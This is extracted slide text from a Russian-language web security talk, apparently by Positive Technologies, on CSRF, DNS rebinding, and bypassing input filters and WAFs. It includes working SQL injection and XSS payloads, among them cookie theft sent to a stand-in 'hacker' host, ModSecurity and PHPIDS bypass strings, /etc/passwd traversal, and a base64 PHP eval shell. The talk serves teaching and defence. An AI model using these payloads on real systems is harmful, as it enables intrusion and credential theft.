    Уязвимость типа «Динамическаяп одделка HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интернет-банк ( ibanking ) Узел, управляемый атакующим ( bonus ) 2. Пользователь авторизуется в Интернет-банке (используется защита от CSRF на основе токена)
  • 64.
    Уязвимость типа «Динамическаяп одделка HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интернет-банк ( ibanking ) Узел, управляемый атакующим ( bonus ) 2. Пользователь авторизуется в Интернет-банке (используется защита от CSRF на основе токена) 3. Переходит по ссылке http://bonus/bonus.htm
  • 65.
    Уязвимость типа «Динамическаяп одделка HTTP- запросов » 1. Отправка ссылки пользователю : http://bonus/bonus.htm Интернет-банк ( ibanking ) Узел, управляемый атакующим ( bonus ) 2. Пользователь авторизуется в Интернет-банке (используется защита от CSRF на основе токена) 3. Переходит по ссылке http://bonus/bonus.htm 4. На основе полученного Referer подгружается картинка : http://ibanking/action?account=12345&amount=500&for=54321& token=765234 5 . Атака завершена
  • 66.
    Уязвимость типа «Динамическаяп одделка HTTP- запросов » Использование CSS History Hack (Jeremiah Grossman) для проведения Dynamic Cross-Site Request Forgery BlackHat USA09 Nathan Hamiel, Shawn Moyer http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf; http://securethoughts.com/2009/07/hacking-csrf-tokens-using-css-history-hack/ Как это работает ? Вариант защиты : http://www.safehistory.com/
  • 67.
    CSRF & XSS Почему CSRF & XSS ? Облегчает проведение Dynamic Cross-Site Request Forgery Зачастую используется для сканирования портов внутренней сети Снятие отпечатков используемых сервисов ( fingerprinting ) Определение полномочий ( CSS History Hack ) Пример реализации : Yokoso (http://yokoso.inguardians.com/)
  • 68.
    CSRF & XSS Самая простая реализация порт-сканера на java - script http://www.gnucitizen.org/static/blog/2006/08/jsportscanner.js
  • 69.
    Атака « AntiDNS Pinning » Атака &quot;Anti DNS Pinning&quot; (DNS rebinding) Обход ограничений Same origin policy Позволяет злоумышленнику манипулировать соответствием между IP-адресом и DNS-именем узла (FQDN) с целью запуска активного содержимого в контексте безопасности уязвимого сайта. Используя эту технику, злоумышленник может использовать браузер жертвы для получения доступа к защищенным сайтам (например, находящимся за межсетевыми экранами или требующим аутентификации). В отличии от атаки типа «Подделка межсайтового запроса» (Cross-Site Request Forgery, CSRF), атака Anti DNS Pinning направлена на получение данных (нарушение конфиденциальности), а не на выполнение каких-либо действий с приложением (нарушение целостности). Но совместно с CSRF атака Anti DNS Pinning может использоваться для полнофункционального доступа к w eb-приложению через браузер пользователя. BlackHat USA07 David Byrne, https://www.blackhat.com/presentations/bh-usa-07/Byrne/Presentation/bh-usa-07-byrne.pdf; http://ha.ckers.org/blog/20060908/dns-pinning-just-got-worse/; http://christ1an.blogspot.com/2007/07/dns-pinning-explained.html
  • 70.
    Уязвимость типа «Anti DNS Pinning » Контролируемый web- сервер www.hack.example (1.1.1.1) MS Project Server 192.168.0.1 Прочие 1. Пользователь обращается к внешнему web- серверу Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name Cisco SDM 192.168.0.2
  • 71.
    Уязвимость типа «Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 2 . Полученный сценарий java-script , например, через 2 секунды делает повторное обращение Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name 3. Атакующий блокирует доступ к web- серверу Cisco SDM 192.168.0.2 Контролируемый web- сервер www.hack.example (1.1.1.1)
  • 72.
    Уязвимость типа «Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 4. Происходит повторное разрешение имени www.hack.example Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name 5. www.hack.example IN A 192.168.0.1 Cisco SDM 192.168.0.2 Контролируемый web- сервер www.hack.example (1.1.1.1)
  • 73.
    Уязвимость типа «Anti DNS Pinning » MS Project Server 192.168.0.1 Прочие 6 . Браузер посылает запрос на 192.168.0.1 : GET / HTTP/1.1 Host: www.hack.example … Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name 5. www.hack.example IN A 192.168.0.1 Cisco SDM 192.168.0.2 Контролируемый web- сервер www.hack.example (1.1.1.1)
  • 74.
    Уязвимость типа «Anti DNS Pinning » Cisco SDM 192.168.0.2 MS Project Server 192.168.0.1 Прочие Контролируемый DNS- сервер hack.example Контролируемый web- сервер any.name 7. Образуется полноценный канал для работы с внутренним ресурсом Контролируемый web- сервер www.hack.example (1.1.1.1)
  • 75.
    Часть 4: Эксплуатация уязвимостей ( filters bypass ) Эксплуатация уязвимостей в контексте обхода программных фильтров безопасности
  • 76.
    Фильтры поступающих данных.Какие они бывают Прозрачные для web- приложения magic_quotes_gpc , display_errors , etc mod_rewrite, ISAPI- фильтры, etc Встроенные функции языка разработки Универсальные Пример : addslashes(), addcslashes(), htmlspecialchars() , etc Предназначенные для определенной среды Пример : mysql_real_escape_string(), pg_escape_string(), dbx_escape_string(), etc Разрабатываемые самим программистом Приведение типов Использование регулярных выражений
  • 77.
    Методы обхода фильтровбезопасности (1) – SQL Injection Использовать кодирование передаваемых в приложение данных Строка « qwerty » может быть представлена неограниченным количеством вариаций Hex- кодирование : 0 x717765727479 ASCII- представление : char(113),char(119),char(101),char(114), char(116),char(121) Использование шифрования с разным ключом : ╧i╘═╗ Г▐╗щ~)°°Р= Пример : hex(AES_ENCRYPT('qwerty',1)) – это B969A9A01DA8E78FA8DD7E299C9CF23D aes_decrypt(concat(0xB9,0x69,0xA9,0xA0,0x1D,0xA8,0xE7,0x8F,0xA8,0xDD,0x7E,0x29,0x9C,0x9C,0xF2,0x3D),1) – это qwerty
  • 78.
    Методы обхода фильтровбезопасности (2) – SQL Injection Использовать представления, отсутствующие в фильтре Синонимы функций CHARACTER_LENGTH() -> CHAR_LENGTH() LOWER() -> LCASE() OCTET_LENGTH() -> LENGTH() LOCATE() -> POSITION( ) REGEXP() -> RLIKE() UPPER() -> UCASE() и т.д. Обфускация запроса и данных Примеры обфускации строки « qwerty » : reverse(concat(if(1,char(121),2),0x74,right(left(0x567210,2),1),lower(mid('TEST',2,1)),replace(0x7074,'pt','w'),char(instr(123321,33)+110))) concat(unhex(left(crc32(31337),3)-400),unhex(ceil(atan(1)*100-2)),unhex(round(log(2)*100)-4),char(114),char(right(cot(31337),2)+54),char(pow(11,2)))
  • 79.
    Методы обхода фильтровбезопасности – SQL Injection Пример по обходу сигнатур (обфускация запроса) Следующий запрос попадает в сигнатуру приложения /?id=1+ union +( select +1,2+ from +test.users) Но иногда используемые сигнатуры можно обойти /?id=1+union+(select+'xz'from+xxx) /?id=(1)unIon(selEct(1),mid(hash,1,32)from(test.users)) /?id=1+union+(sELect'1',concat(login,hash)from+test.users) /?id=(1)union(((((((select(1),hex(hash)from(test.users)))))))) /?id=(1);exec('sel'+'ect'(1)) /?id=(1)or(0x50=0x50) …
  • 80.
    Методы обхода фильтровбезопасности (3) – SQL Injection Использовать null-byte для обхода бинарно-зависимых функций Пример : if(ereg (&quot;^(.){1,3}$&quot;, $_GET['param'])) { … } /?param= 123 ereg (&quot;^(.){1,3}$&quot;, &quot; 123 &quot;) – true /?param= 1234 ereg (&quot;^(.){1,3}$&quot;, &quot; 1234 &quot;) – false /?param= 1+union+select+1 ereg (&quot;^(.){1,3}$&quot;, &quot; 1 union select 1 &quot;) – false /?param= 123%00 ereg (&quot;^(.){1,3}$&quot;, &quot; 123\0 &quot;) - true /?param= 1/*%00*/union+select+1 ereg (&quot;^(.){1,3}$&quot;, &quot; 1/*\0*/union select 1 &quot;) - true
  • 81.
    Методы обхода фильтровбезопасности ( 4 ) – SQL Injection Обход функции addslashes() Это возможно, если существует уязвимость, позволяющая установить кодировку SJIS, BIG5 или GBK Как это работает ? addslashes(&quot; ' &quot;) т.е. 0x 27 вернет &quot; \ ' &quot; т.е. 0x 5c 27 Пример для кодировки GBK: 0xbf 27 – некорректный символ 0xbf 5c – корректный самостоятельный символ после обработки функцией addslashes() 0xbf27 превращается в 0xbf 5c 27 т.е. 0xbf 5c и одинарную кавычку 0x 27 Raz0r, http://raz0r.name/vulnerabilities/sql-inekcii-svyazannye-s-multibajtovymi-kodirovkami-i-addslashes/
  • 82.
    Методы обхода фильтровбезопасности (5) – SQL Injection Пример распространенной уязвимости в функциях фильтров безопасности Следующий запрос не позволяет провести атаку /?id=1+ union+select +1,2, 3 /* Если в фильтре есть соответствующая уязвимость, то такой запрос успешно отработает /?id=1 + un /**/ ion + sel /**/ ect+1,2,3-- SQL -запрос примет вид SELECT * from table where id =1 union select 1,2,3 -- Вместо конструкции /**/ может использоваться любые наборы символов, вырезаемые фильтром (eq #####, %00, etc) Данный пример работает в случае «излишней очистки» поступающих данных (замена regexp-выражения на пустую строку)
  • 83.
    Практика обхода фильтров на примере KIS 2009 Kaspersky Internet Security 2009 Ругается на : /?id=1 union select password from users Но пропускает : /?id=1 union select passwd from users /?id=1 union select pass from users /?id=1 union select login from users-- и т.п. И пропускает : /?id=1+ and+(select+(@v:=password)+from+users+limit+0,1)+union+select+@v--
  • 84.
    Методы обхода фильтровбезопасности – XSS Пример эксплуатации XSS совместно с обходом встроенного фильтра от XSS -атак в Microsoft IE 8 <style>@\69\6d\70\6f\72\74 'http://ha.ckers.org/xss.css';</style> D0znp, http://onsec.ru/vuln?id=4 Еще пример с BlackHat USA09: <script> ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_) </script> BlackHat USA09 Eduardo Vela (Эдуардо Вела) , David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf; D0znp, http://oxod.ru/2009/08/26/ обход- xss- фильтров-по-средствам-особенос/ ; http://sla.ckers.org/forum/read.php?2,31708
  • 85.
    Методы обхода фильтровбезопасности - Path Traversal Пример уязвимости path traversal Логика программы : <? include(&quot;./files/&quot;. $_GET['file'] ) ; ?> Эксплуатация уязвимости : /?id=/union%20select/../../../../../../../etc/passwd Запрос принимает вид : <? include(&quot; ./files//uni X on%20sel X ect/../../../../../../../etc/passwd &quot;) ; ?> Данный пример работает в случае «очистки» поступающих данных и немедленного прерывания процесса дальнейшего прохождения по сигнатурам
  • 86.
    Часть 5: Эксплуатация уязвимостей ( WAF bypass ) Эксплуатация уязвимостей в контексте обхода Web Application Firewall (WAF)
  • 87.
    Что такое WAF http:// server /?id=6329&print=Y Нас атакуют! Ахтунг!!! WAF Webserver http:// server /?id=5351 http:// server /?id=8234 http:// server /? id=“><script>... http:// server /?id=1+union+select... http:// server /? id=/../../../etc/passwd Нормализация данных Decode HTML entities (e.g. &#99;, &quot;, &#xAA;) Escaped characters (e.g. \t, \001, \xAA, \uAABB) Null byte string termination ... Поиск сигнатуры /(sel)(ect.+fr)(om)/is /(uni)(on.+sel)(ect)/is ...
  • 88.
    Какие они бываютПо режиму работы : Мост / Маршрутизатор Обратный прокси-сервер Встроенный По модели защиты : Основанный на сигнатуре ( Signature-based ) Основанный на правилах ( Rule-based ) По реакции на «плохой» запрос: Очистка «опасных» данных Блокировка запроса Блокировка источника атаки
  • 89.
    Методы обхода WAF Фундаментальные ограничения технологии Неспособность полностью защитить web- приложение от всех возможных уязвимостей Общие проблемы При использовании универсальных фильтров WAF приходиться балансировать между эффективностью фильтра и минимизацией ошибок блокировки легитимного трафика Обработка возвращаемого трафика клиенту Уязвимости реализации Технологии нормализации Использование новых техник эксплуатации уязвимостей в Web ( HTTP Parameter Pollution , HTTP Parameter Fragmentation , замена null-byte , etc. )
  • 90.
    Небезопасное восстановление паролей( Weak Password Recovery Validation) Методы обхода WAF – Фундаментальные ограничения IMPACT: An attacker could exploit this vulnerability to compromise the admin account of any wordpress/wordpress-mu <= 2.8.3 http://seclists.org/fulldisclosure/2009/Aug/0113.html
  • 91.
    Практика обхода WAF:SQL Injection - нормализация Пример уязвимости в функции нормализации запроса Следующий запрос не позволяет провести атаку /?id=1+ union+select +1,2, 3 /* Если в WAF есть соответствующая уязвимость, то такой запрос успешно отработает /?id=1/*union*/ union /*select*/ select+1,2,3 /* После обработки WAF запрос примет следующий вид index.php?id=1/* uni X on */ union /* sel X ect */ select+1,2,3 /* Данный пример работает в случае «очистки» опасного трафика, а не при блокировке всего запроса или источника атаки
  • 92.
    Практика обхода WAF:SQL Injection – HPP (пример 1) Использование HTTP Parameter Pollution (HPP) Следующий запрос не позволяет провести атаку /?id=1 ;select+1,2, 3 +from+users+where+id=1 -- Такой запрос успешно отработает при использовании HPP /?id=1 ;select+1 &id= 2, 3 +from+users+where+id=1 -- Успешное проведение атаки HPP по обходу WAF ограничено используемой средой атакуемого приложения OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf
  • 93.
    Практика обхода WAF:SQL Injection – HPP Как это работает ? Пример в среде IIS/ASP GET /index.asp?id= param1 &id= param2 &id= param3 HTTP/1.1 Host: localhost … После обработки такого HTTP- запроса web- приложение в качестве значения GET[id] получит следующие данные : Request.QueryString(&quot;id&quot;) = &quot; param1 , param2 , param3 &quot;
  • 94.
    Практика обхода WAF: HTTP Parameter Pollution (HPP)
  • 95.
    Практика обхода WAF:SQL Injection – HPP Пример в среде Apache/PHP/Mod_Rewrite Правило mod_rewrite: ... RewriteRule (.+)/(.+)/(.+)/$ / index.php?action= view &module=$1&category=$2&id=$3 … HTTP- запрос : GET /1/2/ 3 &action=edit / HTTP/1.1 Host: localhost … После обработки такого HTTP- запроса в Web- приложение поступит переменная GET[action] с установленным значением &quot; edit” вместо ожидаемого значения &quot; view&quot; .
  • 96.
    Практика обхода WAF: HTTP Parameter Pollution (HPP) Технология / Среда Интерпретация параметров Пример ASP.NET/IIS Склеивание через запятую par1=val1,val2 ASP/IIS Склеивание через запятую par1=val1,val2 PHP/APACHE Последний параметр результирующий par1=val2 PHP/Zeus Последний параметр результирующий par1=val2 JSP, Servlet/Apache Tomcat Первый параметр результирующий par1=val1 JSP,Servlet/Oracle Application Server 10g Первый параметр результирующий par1=val1 JSP,Servlet/Jetty Первый параметр результирующий par1=val1 IBM Lotus Domino Первый параметр результирующий par1=val1 IBM HTTP Server Последний параметр результирующий par1=val2 mod_perl,libapeq2/Apache Первый параметр результирующий par1=val1 Perl CGI/Apache Первый параметр результирующий par1=val1 mod_perl,lib???/Apache Первый параметр результирующий par1=val1 mod_wsgi (Python)/Apache Возвращается массив ARRAY(0x8b9058c) Pythin/Zope Первый параметр результирующий par1=val1 IceWarp Возвращается массив ['val1','val2'] AXIS 2400 Последний параметр результирующий par1=val2 Linksys Wireless-G PTZ Internet Camera Склеивание через запятую par1=val1,val2 Ricoh Aficio 1022 Printer Последний параметр результирующий par1=val2 webcamXP Pro Первый параметр результирующий par1=val1 DBMan Склеивание через две тильды par1=val1~~val2
  • 97.
    Практика обхода WAF:SQL Injection – HPP (пример 2) Использование HTTP Parameter Pollution (HPP) Уязвимый код SQL=&quot; select key from table where id= &quot;+ Request.QueryString(&quot;id&quot;) Такой запрос успешно отработает при использовании техники HPP /?id=1 /**/union/* &id= */select/* &id= */pwd/* &id= */from/* &id= */users SQL- запрос примет вид select key from table where id= 1 /**/union/* , */select/* , */pwd/* , */from/* , */users Lavakumar Kuppan, http://lavakumar.com/Split_and_Join.pdf
  • 98.
    Практика обхода WAF:SQL Injection – HPF Использование HTTP Parameter Fragmentation (HPF) Пример уязвимого кода Query( &quot;select * from table where a=&quot; .$_GET['a']. &quot; and b=&quot; .$_GET['b'] ); Query( &quot;select * from table where a=&quot; .$_GET['a']. &quot; and b=&quot; .$_GET['b']. &quot; limit &quot; .$_GET['c'] ); Следующий запрос не позволяет провести атаку /?a=1+ union+select +1,2/* При использовании HPF такие запросы могут успешно отработать /?a=1+ union/* &b= */select+1,2 /?a=1+ union/* &b= */select+1,pass/* &c= */from+users-- SQL - запросы принимают вид select * from table where a= 1 union /* and b=*/ select 1,2 select * from table where a= 1 union /* and b=*/ select 1,pass /* limit */ from users -- http://devteev.blogspot.com/2009/09/http-parameter-fragmentation-hpf-web.html
  • 99.
    Практика обхода WAF: Blind SQL Injection Использование логических запросов AND и OR Следующий запрос для многих WAF позволяет успешно провести атаку /?id=1+ OR+0x50=0x50 /?id=1+ and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 Вместо знака равенства может использоваться отрицание или неравенство (!=, <>, <, > ) – Парадокс! Но многие WAF это пропускают. Заменяя функции SQL , которые попадают в сигнатуры WAF , на их синонимы, можно эксплуатировать уязвимость методом blind-SQL Injection substring() -> mid(), substr(), etc ascii() -> hex(), bin(), etc benchmark() -> sleep() Данный пример справедлив для всех WAF , разработчики которых стремятся охватить как можно больше web- приложений
  • 100.
    Практика обхода WAF:SQL Injection – PHPIDS PHPIDS (0.6.1.1) Ругается на : /?id=1+union+select+user,password+from+mysql.user+ where +user=1 Но пропускает : /?id=1+ union+select+user,password+from+mysql.user+limit+0,1 Ругается на : /?id=1+ OR+1=1 Но пропускает : / ?id=1+ OR+0x50=0x50 Ругается на : /?id= substring ((1),1,1) Но пропускает : /?id= mid ((1),1,1)
  • 101.
    Практика обхода WAF:SQL Injection – Mod_Security Mod_Security (2.5.9) Ругается на : /?id=1+and+ascii(lower( substring ((select+pwd+from+users+limit+1,1),1,1)))=74 Но пропускает : /?id=1+and+ascii(lower( mid ((select+pwd+from+users+limit+1,1),1,1)))=74 Ругается на : /?id=1+ OR+1=1 Но пропускает : / ?id=1+ OR+0x50=0x50 Ругается на : /?id=1+ and+5=6 Но пропускает : / ?id=1+ and+5!=6 Ругается на : /?id=1 ;drop members Но пропускает : / ?id=1 ;delete members
  • 102.
    Практика обхода WAF:SQL Injection – Mod_Security И еще один красивый способ эксплуатации SQL Injection в обход Mod_Security (2.5.9) Сервер MySQL позволяет использовать комментарии вида: /*! sql-code */ и /*!12345 sql-code */ Воспользовавшись этим, можно очень элегантно проводить эксплуатацию SQL Injection в обход текущей версии mod_security . Примеры : /?id=1 /*! limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns */ /?id=1 /*!12345 limit+0+union+select+concat_ws(0x3a,table_name,column_name)+from+information_schema.columns */ /?id=1 /*! limit+0+union+select+concat_ws(0x3a,username,password,email)+from+users */ http://devteev.blogspot.com/2009/10/sql-injection-waf.html
  • 103.
    Общие проблемы Сохраненныйвариант XSS В случае если удалось «протащить» XSS через фильтр, WAF не сможет воспрепятствовать реализации атаки Отраженный вариант XSS в Javascript Пример : <script> ... setTimeout(\&quot;writetitle()\&quot;, $_GET[xss] ) ... </script> Эксплуатация : /?xss= 500); alert(document.cookie);// DOM-based XSS Пример : <script> ... eval( $_GET[xss] ); ... </script> Эксплуатация : /?xss= document.cookie Аналогичные проблемы наблюдаются у фильтров защиты от XSS на уровне client-side (например, IE8 ) Методы обхода WAF – Cross-Site Scripting
  • 104.
    Практика обхода WAF: Cross-Site Scripting XSS через перенаправление запроса Уязвимый код : … header('Location: '.$_GET['param']); … А также : … header('Refresh: 0; URL='.$_GET['param']); … Такой запрос WAF не пропустит : /?param= javascript:alert(document.cookie) Подобный запрос WAF пропустит , и XSS отработает на некоторых браузерах ( Opera, Safari , Chrome, etc ) : /?param= data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4= http://websecurity.com.ua/3386/; http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00116.html
  • 105.
    Практика обхода WAF: Cross-Site Scripting Использование HPP, HPF иногда позволяет обойти фильтры Обход правил фильтрации на примере ModSecurity: <img src=&quot;x:alert&quot; onerror=&quot;eval(src%2b'(0)')&quot;> &quot;;document.write('<img sr'%2b'c=http:// hacker /x.png?'%2bdocument['cookie']%2b'>');&quot; ... BlackHat USA09 Eduardo Vela (Эдуардо Вела) , David Lindsay (Дэвид Линдсэй) http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf
  • 106.
    Практика обхода WAF: Path Traversal и LFI Действительно, обойти сигнатуру « ../ » и «..\» не всегда возможно, но всегда ли это требуется ? Пример 1. Чтение файлов в каталоге, расположенном выше корневого Логика программы : <? include( $_GET['file'] .&quot;.txt&quot;) ; ?> Эксплуатация уязвимости : /?file= secrets/admins.db/./.[N]/./. /?file= secrets/admins.db..[N].. Уязвимость основана на двух особенностях в функциях PHP для взаимодействия с файловой системой: Нормализация пути (лишние символы, например , «/» и «/.» , удаляются) Усечение пути (определяется константой MAX_PATH, которая обычно меньше MAX_URI_PATH в WAF ) http://sla.ckers.org/forum/read.php?16,25706,25736#msg-25736; http://raz0r.name/articles/null-byte-alternative/
  • 107.
    Практика обхода WAF: Path Traversal и LFI Использование замены null-byte в реальных условиях При эксплуатации LFI с использованием метода по обходу null-byte могут использоваться следующие запросы: &quot; any/../file[N] &quot;, или &quot; ../../file[N] &quot;, или &quot; /../../file[N] &quot;, где [N] - замена null-byte, характерная для атакуемой ОС. Примеры ( среда FreeBSD 7.2 с php v5.2.10 with Suhosin-Patch 0.9.7): <? include(&quot;q/&quot;.$_GET['f'].&quot;.txt&quot;); ?> Для выполнения атаки работает: /? f=../../../../../etc/passwd/.[N]/. , где /.[ N]/. - repeat(&quot;/.&quot;, 487) <? include(&quot;qq/&quot;.$_GET['f'].&quot;.txt&quot;); ?> Предыдущий URL не позволит получить / etc/passwd. Но такой запрос успешно отработает: /? f=/../../../../../etc/passwd/.[N]/. <? include($_GET['f'].&quot;.txt&quot;); ?> Предыдущие запросы не сработают. Отработает следующий URL: /?f=non/../../../../../etc/passwd/.[N]/. http://devteev.blogspot.com/2009/08/null-byte.html; http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt
  • 108.
    Практика обхода WAF: Path Traversal и LFI Пример 2. Выполнение команд на сервере Логика программы : <? include( $_GET['file'] .&quot;.txt&quot;) ; ?> Эксплуатация уязвимости : Запрос, блокируемый WAF: /?file=data:, <?php eval($_REQUEST[cmd]);?> &cmd=phpinfo(); Запрос, который WAF пропускает : /?file= data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8%2b &cmd= phpinfo(); Уязвимость основана на особенности интерпретатора PHP (allow_url_fopen & allow_url_include должны находиться в состоянии enable) reference: коллективный разум antichat.ru
  • 109.
    Практика обхода WAF: Remote File Including Фундаментальные ограничения WAF ( универсальный фильтр будет блокировать легитимные запросы! ) Примеры легитимных запросов в логике крупных web- ресурсов : Перенаправление HTTP- запроса : http://www.securitylab.ru/exturl.php?goto=http://ya.ru http://rbc.ru/cgi-bin/redirect.cgi?http://top.rbc.ru http://www.google.com/url?url=http://ya.ru http://vkontakte.ru/away.php?to=http://ya.ru ... Обычная запись в Wiki: http://en.wikipedia.org/wiki/Http://www.google.com Online- переводчик : http://translate.google.ru/translate?hl=en&sl=ru&u=http://ya.ru
  • 110.
  • 111.
    SQL Injection можно встретить даже на широко известных и крупных Интернет-ресурсах SQL Injection в «живой природе»
  • 112.
    XSS – «головная боль» для всех web- проектов Cross-Site Scripting в «живой природе»
  • 113.
    К чему приводитбеззаботное отношение к безопасности web- приложений ?
  • 114.
    Мы немного посканировали…Инструментальное обследование сети Сканирование портов и сервисов Исследование защищенности web -приложения методом «черного ящика»
  • 115.
    … обнаружили уязвимостьв web- приложении… Сканирование сети Успешно подобран пароль! Эксплуатация SQL Injection Выполнение команд на сервере Повышение привилегий Атака на внутренние ресурсы
  • 116.
    … захватили управлениевсей сетью :-) Сканирование сети Успешно подобран пароль! Эксплуатация SQL Injection Выполнение команд на сервере Повышение привилегий Атака на внутренние ресурсы Внутренний пентест Установка сканера MaxPatrol Поиск уязвимостей Эксплуатация уязвимостей Перемещение в ИС ЦО Проведение атаки на ресурсы ЦО Получение максимальных привилегий во всей сети!
  • 117.
    Резюме WAF – это не долгожданная &quot;серебряная пуля&quot; WAF не устраняет уязвимость, а лишь (частично) прикрывает вектор атаки Концептуальные проблемы WAF – использование сигнатурного принципа Правильно выстроенный процесс Software Development Life Cycle (SDLC) в значительной степени снижает вероятность появления уязвимостей в коде Безопасность должна быть разумной Безопасность должна быть комплексной Безопасность – это непрерывный процесс
  • 118.
    Спасибо за внимание![email_address] [email_address] http://www.ptsecurity.ru/